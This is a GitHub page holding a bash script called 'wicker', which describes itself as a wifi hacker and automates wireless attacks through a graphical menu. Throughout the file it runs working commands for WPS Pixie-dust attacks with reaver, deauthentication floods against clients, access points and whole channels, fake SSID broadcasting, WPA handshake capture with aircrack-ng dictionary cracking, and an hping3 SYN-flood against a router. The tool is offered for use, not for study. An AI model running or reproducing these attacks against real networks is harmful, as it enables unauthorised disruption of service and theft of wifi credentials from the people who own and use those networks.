-
Notifications
You must be signed in to change notification settings - Fork 10
/
wicker
executable file
·547 lines (380 loc) · 14.2 KB
/
wicker
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
#!/usr/bin/env bash
#Coder: akrecH
#Tool-name: wicker (the wifi hacker)
#Tool-info: wicker helps you to automate your wifi hacking.
#Github- https://github.com/akr3ch
#network interface
phy=$(basename /sys/class/net/wl*)
#collect BSSID
if [ `whoami | grep root` ]
then
touch /tmp/.bssid-loot.txt 2>/dev/null
iwlist ${phy} scan >> /tmp/.bssid-loot.txt
loot=`cat -n /tmp/.bssid-loot.txt | grep -o -E '([[:xdigit:]]{1,2}:){5}[[:xdigit:]]{1,2}' | awk '{print(NR"\t"$0)}' | sort -t$'\t' -k2,2 | uniq --skip-fields 1 | sort -k1,1 -t$'\t' | cut -f2 -d$'\t'`
fi
#detect Ctrl + C
trap_ctrlc () {
tput bel
ask=0
if zenity --question --text "⚠️ Are you sure you want to quit?" --no-wrap ;
then
ask=1
else
ask=0
fi
if [ $ask == 1 ];
then
sudo killall xterm 2>/dev/null
exit 0
elif [ $ask == 0 ];
then
sudo killall xterm 2>/dev/null
menu
fi
}
trap "trap_ctrlc" 2
#sometime iwlist doesn't works...So i am just looking for another way to find all BSSID
#l00t ()
# rm -rf /tmp/.loot
# mkdir /tmp/.loot
# sudo xterm -e "airodump-ng --write '/tmp/.loot/wicker-loot' wlan0mon --output-format=cap" &
# sleep 4
# sudo killall xterm
# cap=`find /tmp/.loot/ -name wicker-loot*.cap 2>/dev/null`
# i=`aircrack-ng ${cap} & command 0 2>/dev/null`
# loot=`echo $i | grep -o -E '([[:xdigit:]]{1,2}:){5}[[:xdigit:]]{1,2}'`
#check monitor mode
checkmon () {
if iwconfig ${phy} | grep -q Monitor
then
zenity --info --title="☠️wicker☠️" --text="👽Monitor mode detected" --no-wrap --timeout=1
else
mon=0 mon=`zenity --question --title="☠️wicker☠️" --text="📡Monitor mode not detected\n👽Turn on monitor mode?" --width=300` && mon=1 || mon=0
[ "$mon" == 0 ] && menu
[ "$mon" == 1 ] && on
fi
}
#turn on monitor mode
on () {
(echo "10" ; sleep 1
echo "# 🥷🏼Turning on monitor mode..." ; sleep 1
sudo xterm -T "☠️wicker☠️" -e "airmon-ng check kill"
echo "20" ; sleep 1
echo "# 🥷🏼Trying to make ${phy} interface down..." ; sleep 1
sudo xterm -T "☠️wicker☠️" -e "ip link set ${phy} down"
echo "50" ; sleep 1
echo "# 🥷🏼Changing the interface name from ${phy} to wlan0mon" ; sleep 1
sudo xterm -T "☠️wicker☠️" -e "ip link set ${phy} name wlan0mon"
echo "80" ; sleep 1
echo "# 🥷🏼Changing card mode from managed to monitor..." ; sleep 1
sudo xterm -T "☠️wicker☠️" -e "iw dev wlan0mon set type monitor"
echo "100" ; sleep 1
) | zenity --progress \
--title="☠️wicker☠️" \
--text="🥷🏼Turning on monitor mode..." \
--percentage=0 \
--auto-close --no-cancel --width=400
zenity --info --title="☠️wicker☠️" --text="👽Monitor mode turned on successfully" --width=300
}
#turn off monitor mode
off () {
(echo "10" ; sleep 1
echo "# 🥷🏼Turning off monitor mode..." ; sleep 1
sudo xterm -T "☠️wicker☠️" -e "ip link set wlan0mon up"
echo "20" ; sleep 1
echo "# 🥷🏼Turning interface mode managed from monitor..." ; sleep 1
sudo xterm -T "☠️wicker☠️" -e "iw dev wlan0mon set type managed"
echo "50" ; sleep 1
echo "# 🥷🏼Trying to restart Network manager..." ; sleep 1
sudo xterm -T "☠️wicker☠️" -e "service NetworkManager restart"
echo "80" ; sleep 1
echo "# 🥷🏼Network manager restarted..." ; sleep 1
echo "100" ; sleep 2
) | zenity --progress \
--title="☠️wicker☠️" \
--text="🥷🏼Turning off monitor mode..." \
--percentage=0 \
--auto-close --no-cancel --width=400
zenity --info --title="☠️wicker☠️" --text="📡Monitor mode turned off..." --width=300
menu
}
#pixie dust attack
pixie () {
#loot=`iwlist wlan0mon scan | grep -o -E '([[:xdigit:]]{1,2}:){5}[[:xdigit:]]{1,2}'`
bssid=`zenity --list --title="✨Pixie dust" --text="Select a BSSID" --cancel-label="Enter manually" --column="BSSID" $loot --width=500 --height=350`
if [ -z $bssid ];
then
sudo xterm -T "All local wifi networks" -fa 'Monospace' -fs 14 -e "airodump-ng wlan0mon" &
sleep 0.5
bssid=$(zenity --entry --title="✨Pixie dust" --text="Enter target BSSID" --width=400 )
fi
if [ -z $bssid ];
then
sudo killall xterm
zenity --error --width=200
menu
fi
channel=$(zenity --entry --title="✨Pixie dust" --text="Enter channel number" --cancel-label="auto select")
if [ -z $channel ];
then
sudo xterm -T "✨Performing Pixie dust attack on ${bssid}" -e "sudo reaver -i wlan0mon -b $bssid -K 1 -vv"
menu
else
sudo xterm -T "✨Performing Pixie dust attack on ${bssid}" -e "sudo reaver -i wlan0mon -b $bssid -c $channel -vv -K 1 -f"
menu
fi
}
#check injection
aireplay () {
sudo aireplay-ng -9 wlan0mon
menu
}
#scan wifi networks
airodump_ask () {
r=$(zenity --info --title '☠️wicker☠️' --text 'Scan single target or scan all' --extra-button='single' --extra-button='all' --ok-label back --width=400)
if [ -z $r ];
then
menu
#if select all
elif [ "$r" == "all" ];
then
sudo airodump-ng wlan0mon
else
airodump_run
fi
}
#if select
airodump_run () {
if [ "$r" == "single" ];
then
#loot=`iwlist wlan0mon scan | grep -o -E '([[:xdigit:]]{1,2}:){5}[[:xdigit:]]{1,2}'`
bssid=`zenity --list --title="☠️wicker☠️" --text="Select a BSSID" --cancel-label="Enter manually" --column="BSSID" $loot --width=500 --height=350`
fi
if [ -z $bssid ];
then
bssid=$(zenity --entry --title="☠️wicker☠️" --text="Enter target BSSID" --width=400 )
[ -z $bssid ] && zenity --error --title="☠️wicker☠️" --width=250 && menu || sudo airodump-ng --bssid $bssid wlan0mon
else
sudo airodump-ng --bssid $bssid wlan0mon
fi
}
#deauth wifi if single
kicks () {
checkmon
#loot=`iwlist wlan0mon scan | grep -o -E '([[:xdigit:]]{1,2}:){5}[[:xdigit:]]{1,2}'`
bssid=`zenity --list --title="🕷Deauth wifi" --cancel-label="Enter manually" --column="BSSID" $loot --width=500 --height=350`
if [ -z $bssid ]
then
sudo xterm -T "all local wifi networks | press (Ctrl-C) to stop me" -fa 'Monospace' -fs 14 -e "airodump-ng wlan0mon" &
bssid=$(zenity --entry --title="🕷Deauth wifi" --text="Enter target BSSID" --width=500 )
mac=$(zenity --entry --title="🕷Deauth wifi" --text="Enter client MAC address" --width=500 )
num=$(zenity --entry --title="🕷Deauth wifi" --text="Enter the number of deauth req (default: 200) " --width=300)
[ -z $num ] && num=200
[ -z $mac ] || [ -z $bssid ] && zenity --error --width=250 && menu
sudo killall xterm 2>/dev/null
sudo xterm -T "Sending deauth packets to the client" -e "aireplay-ng --deauth $num -a $bssid -D -c $mac wlan0mon"
menu
else
mac=$(zenity --entry --title="🕷Deauth wifi" --text="Enter client MAC address" --width=500 )
num=$(zenity --entry --title="🕷Deauth wifi" --text="Enter the number of deauth req (default: 200) " --width=300)
[ -z $num ] && num=200
sudo killall xterm 2>/dev/null
[ -z $bssid ] || [ -z $num ] || [ -z $mac ] && zenity --error --width=250
sudo xterm -T "Sending deauth packets to the client" -e "sudo aireplay-ng --deauth $num -a $bssid -D -c $mac wlan0mon"
menu
fi
}
#deauth wifi if full
kickf () {
checkmon
#loot=`iwlist wlan0mon scan | grep -o -E '([[:xdigit:]]{1,2}:){5}[[:xdigit:]]{1,2}'`
bssid=`zenity --list --title="🕷Deauth wifi" --column="BSSID" --cancel-label="Enter manually" $loot --width=500 --height=350`
if [ -z $bssid ];
then
sudo xterm -T "all local wifi networks" -fa 'Monospace' -fs 14 -e "airodump-ng wlan0mon" &
bssid=$(zenity --entry --title="🕷Deauth wifi" --text="Enter target BSSID" --width=500)
num=$(zenity --entry --title="🕷Deauth wifi" --text="Enter the number of deauth req (default: 200)" --width=300)
[ -z $num ] && num=200
sudo killall xterm 2>/dev/null
[ -z $bssid ] && zenity --error --width=250 && menu || sudo xterm -T "Sending deauth packets to ${bssid}" -e "aireplay-ng --deauth $num -D -a $bssid wlan0mon"
menu
else
num=$(zenity --entry --title="🕷Deauth wifi" --text="Enter the number of deauth req (default: 200)" --width=300)
[ -z $num ] && num=200
sudo killall xterm 2>/dev/null
[ -z $bssid ] && zenity --error --width=250 && menu || sudo xterm -T "Sending deauth packets to ${bssid}" -e "sudo aireplay-ng --deauth $num -D -a $bssid wlan0mon"
menu
fi
}
#deauth wifi channel
mdk () {
channel=$(zenity --entry --title="🕸️Deauth wifi channel" --text="Enter channel number" --width=400)
if [ -z $channel ];
then
zenity --error --width=250
menu
else
sudo xterm -T "All local wifi networks" -fa 'Monospace' -fs 14 -e "airodump-ng wlan0mon" &
zenity --info --title="☠️wicker☠️" --text="🟥Process started...\n🔴Press Ctrl + C to stop" --timeout=5 --width=300
sudo xterm -T "Sending deauth packets to channel ${channel}" -e "sudo mdk3 wlan0mon d -c $channel"
sudo killall xterm
menu
fi
}
#create multiple fake ssid
mdk1 () {
channel=$(zenity --entry --title="💤Create multiple fake ESSID" --text="Enter channel number" --width=300)
if [ -z $channel ];
then
zenity --error --width=250
menu
fi
zenity --info --title="💤Create multiple fake ESSID" --text="Select a (.txt) file which cotains the SSID names" --width=300
txt=$(zenity --file-selection)
if [ -z $txt ];
then
zenity --error --width=250
menu
fi
zenity --info --title="💤Create multiple fake ESSID" --text="Multiple SSID created successfully\nPress Ctrl+C to stop" --width=300 &
sudo xterm -T "🛰Hosting fake Wifi ESSID" -e "cat $txt && mdk3 wlan0mon b -c $channel -f $txt"
menu
}
#capture handshake
handshake () {
sudo xterm -T "All local wifi networks" -geometry 96x30+0+0 -e "airodump-ng wlan0mon" &
bssid=`zenity --list --title="🕸️Capture handshake" --cancel-label="Enter manually" --text="select BSSID" --column="BSSID" $loot --width=500 --height=400`
if [ -z "$bssid" ];
then
bssid=$(zenity --entry --title="🕸️Capture handshake" --text="Enter target BSSID" --width=400 )
fi
if [ -z $bssid ];
then
zenity --error --width=250
menu
fi
xterm -T "Making a directory for (.cap) files" -e "rm -rf /tmp/WICKER-CAPS && mkdir /tmp/WICKER-CAPS"
(echo "# 🥷🏼Saving captured packet in /tmp/WICKER-CAPS..." ; sleep 1
sudo xterm -T "🚀Trying to deauthenticate users from ${bssid}" -geometry 96x30-0-0 -e "aireplay-ng --deauth 200 -D -a ${bssid} wlan0mon" &
sudo xterm -T "🌪Permforming deauthention attack on ${bssid}" -geometry 96x30-0+0 -e "sudo mdk3 wlan0mon d -t ${bssid}" &
sleep 1
echo "# 🥷🏼Saved cap file as\ncaptured-handshake-${bssid}-01.cap..." ; sleep 1
sudo xterm -T "📡Trying to capture handshake" -geometry 96x30+0-0 -e "airodump-ng --bssid ${bssid} --write '/tmp/WICKER-CAPS/captured-handshake-${bssid}' wlan0mon --output-format=cap" &
sleep 1
echo "# 🥷🏼Deauth process started..." ; sleep 1
sleep 1
echo "# 🥷🏼Trying to capture handshake..." ; sleep 1
for i in {0..100}
do
echo $i ; sleep 1
done) | zenity --progress \
--title="☠️wicker☠️" \
--text="🕸️Capture handshake" \
--percentage=0 \
--auto-close --no-cancel --time-remaining --width=400
#find the .cap file
file=`find /tmp/WICKER-CAPS -name "captured-handshake-*.cap"`
#wicker default passwordlist
pass=/usr/share/wicker/passwords.txt
#check is there any handshake captured
if aircrack-ng $file -w $pass | grep -q "1 handshake"
then
sudo killall xterm 2>/dev/null
opinion=0
`zenity --question --title="🛑Handshake detected🛑" --text="🔒Handshake Captured\n📄File:${file}\n🔓Try to crack it?" --width=300` && opinion=1 || opinion=0
#if user select No
[ "$opinion" == 0 ] && menu
#if user select Yes
[ "$opinion" == "1" ] && check_pass=`zenity --info --extra-button="Select passwordlist" --title="☠️wicker☠️" --text="💾Use default passlist?\n🔑$pass\n 📄or select manually" --width=300`
[ "$check_pass" == "Select passwordlist" ] && pass=`zenity --file-selection` && aircrack-ng $file --bssid $bssid -w $pass && menu
[ "$check_pass" != "Select passwordlist" ] && aircrack-ng $file --bssid $bssid -w $pass && menu
#if handshake not captured
else
clear
sudo killall xterm 2>/dev/null
asK=0
`zenity --question --title="☠️wicker☠️" --text="🟡Process complete...\n🔴No handshake captured\n🔵Try again?" --width=300` && asK=1 || asK=0
[ "$asK" == "1" ] && handshake
[ "$asK" == "0" ] && menu
fi
}
#router dos
router () {
ip=$(zenity --entry --title="🚀Router DOS" --text="Enter the routers IP address" --width=400)
if [ -z "$ip" ]
then
zenity --error --text="⚠️Please enter a valid IP address" --width=250
menu
else
sudo xterm -T "🐌Performing DOS on $ip | Press Ctrl+C to stop" -e "hping3 -i u1 -S $ip"
menu
fi
}
menu () {
c=$(zenity --list --radiolist --title="☠️wicker☠️" --text="Select an option" --column="Select" --column="Menu Item" \
FALSE "🔍Scan wifi networks" \
FALSE "🕸️Capture handshake" \
FALSE "✨Pixie dust attack" \
FALSE "🕷Deauth wifi BSSID" \
FALSE "🛰Deauth wifi channel" \
FALSE "💤Create multiple fake ESSID" \
FALSE "🐢Router DOS" \
FALSE "💉Check packet injection" \
FALSE "📡Turn off monitor mode" \
FALSE "👽Turn on monitor mode" --cancel-label="exit" --hide-header --ok-label="ok" --width=500 --height=350 )
if [ "$c" == "👽Turn on monitor mode" ];
then
on
unset c
menu
elif [ "$c" == "📡Turn off monitor mode" ];
then
unset c
off
elif [ "$c" == "✨Pixie dust attack" ];
then
unset c
checkmon
pixie
elif [ "$c" == "🔍Scan wifi networks" ];
then
checkmon
airodump_ask
elif [ "$c" == "🕷Deauth wifi BSSID" ];
then
r=$(zenity --info --title '🕸️Deauth wifi' --text 'Attack on a clients MAC address or directly BSSID?' --extra-button Client --extra-button BSSID --ok-label back --width=400)
[ -z $r ] && menu
[ "$r" == "BSSID" ] && unset c && kickf
[ "$r" == "Client" ] && unset c && kicks
elif [ "$c" == "🛰Deauth wifi channel" ];
then
unset c
checkmon
mdk
elif [ "$c" == "💤Create multiple fake ESSID" ];
then
unset c
checkmon
mdk1
elif [ "$c" == "🕸️Capture handshake" ];
then
unset c
checkmon
handshake
elif [ "$c" == "🐢Router DOS" ];
then
unset c
router
elif [ "$c" == "💉Check packet injection" ];
then
unset c
aireplay
elif [ "$c" == "" ];
then
unset c
sudo killall xterm 2>/dev/null
exit 0
fi
}
#check root
[ `whoami | grep root` ] && menu || zenity --info --title="☠️wicker☠️" --text="⚠️wicker must be run as root\n🔴Please re-run wicker with sudo" --no-wrap && exit 0